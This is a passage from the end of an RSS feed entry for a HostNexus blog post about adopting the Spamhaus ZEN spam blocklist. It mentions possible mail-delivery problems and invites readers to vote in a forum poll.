<p>2) You (or your users) might not be able to send mail.  The upside of this downside is that you are all web savvy and know to delist.</p>
<p>I have <a href="http://www.hostnexus.com/forum/spam-filtering-tips-tricks-issues/12425-implementing-zen-discussion-feedback.html">posted a discussion thread with poll</a> on our forum.  Please comment here or in that thread and vote on that poll.  This would be a great thing to implement but everyone needs to be aware of it before we do and know how to resolve any issues if they experience them.</p>
<p>Thanks for your time. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/the-zen-of-spamhaus/">The zen of SpamHaus</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/the-zen-of-spamhaus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
